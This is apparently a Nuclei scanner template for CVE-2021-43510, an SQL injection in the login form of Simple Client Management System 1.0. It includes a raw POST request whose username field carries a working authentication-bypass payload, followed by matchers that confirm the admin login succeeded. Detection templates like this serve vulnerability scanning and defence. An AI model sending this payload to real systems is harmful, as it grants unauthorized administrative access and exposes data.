Sourcecodester Simple Client Management System 1.0 - SQL Injection

id: CVE-2021-43510

info:
  name: Sourcecodester Simple Client Management System 1.0 - SQL Injection
  author: edoardottt
  severity: critical
  description: |
    Sourcecodester Simple Client Management System 1.0 contains a SQL injection vulnerability via the username field in login.php. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Sourcecodester Simple Client Management System 1.0.
  reference:
    - https://github.com/r4hn1/Simple-Client-Management-System-Exploit/blob/main/CVE-2021-43510
    - https://www.sourcecodester.com/php/15027/simple-client-management-system-php-source-code.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43510
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/r4hn1/Simple-Client-Management-System-Exploit
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-43510
    cwe-id: CWE-89
    epss-score: 0.07515
    epss-percentile: 0.94542
    cpe: cpe:2.3:a:simple_client_management_system_project:simple_client_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: simple_client_management_system_project
    product: simple_client_management_system
  tags: cve2021,cve,simpleclientmanagement,sqli,auth-bypass,simple_client_management_system_project,vuln

http:
  - raw:
      - |
        POST /classes/Login.php?f=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=admin'+or+'1'%3d'1'--+-&password=as
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers:
      - type: dsl
        dsl:
          - 'contains(header_1, "text/html")'
          - 'status_code_1 == 200'
          - 'contains(body_1, "{\"status\":\"success\"}")'
          - 'contains(body_2, "Welcome to Simple Client")'
        condition: and